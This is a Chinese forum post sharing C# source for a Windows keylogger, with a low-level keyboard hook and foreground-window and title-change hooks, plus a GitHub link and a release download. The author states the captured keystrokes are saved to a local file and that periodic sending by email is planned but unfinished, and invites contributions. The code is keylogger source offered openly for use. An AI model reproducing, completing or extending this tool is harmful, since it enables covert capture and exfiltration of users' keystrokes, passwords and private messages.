本帖最后由 Vvvvvoid 于 2021-8-19 16:09 编辑
rt
KEYBOARD Hooker
[C#] 纯文本查看 复制代码 public void Hook()
{
if (_keyboardHookHandle != IntPtr.Zero)
return;
using (var curProcess = Process.GetCurrentProcess())
using (var curModule = curProcess.MainModule)
{
_keyboardHookHandle = NativeMethods.SetWindowsHookEx(
HookType.WH_KEYBOARD_LL,
KeyboardHookProc, NativeMethods.GetModuleHandle(curModule.ModuleName),
0);
}
if (_keyboardHookHandle == IntPtr.Zero)
{
var errorCode = Marshal.GetLastWin32Error();
throw new Win32Exception(errorCode);
}
}
Windows Hooker
[C#] 纯文本查看 复制代码 public void Hook()
{
if (_hookHandleWinChange==IntPtr.Zero)
_hookHandleWinChange = NativeMethods.SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND,
IntPtr.Zero,
WinEventProc, 0, 0, WINEVENT_OUTOFCONTEXT);
if (_hookHandleWinChange == IntPtr.Zero)
{
var errorCode = Marshal.GetLastWin32Error();
throw new Win32Exception(errorCode);
}
if (_hookHandleTitleChange==IntPtr.Zero)
_hookHandleTitleChange = NativeMethods.SetWinEventHook(EVENT_OBJECT_NAMECHANGE, EVENT_OBJECT_NAMECHANGE,
IntPtr.Zero,
WinEventProc, 0, 0, WINEVENT_OUTOFCONTEXT);
if (_hookHandleTitleChange == IntPtr.Zero)
{
var errorCode = Marshal.GetLastWin32Error();
throw new Win32Exception(errorCode);
}
RaiseOne();
}
Hook 的记录 除了编辑框外,
还计划写入了本地文件, 并会记录按文件大小或者缓存来定期处理,比如发邮件之类 (这快还没做完。。)欢迎大佬提 request
Src: https://github.com/marlkiller/KeyBoardHook
Release :
Release.7z
(19.83 KB, 下载次数: 253)
|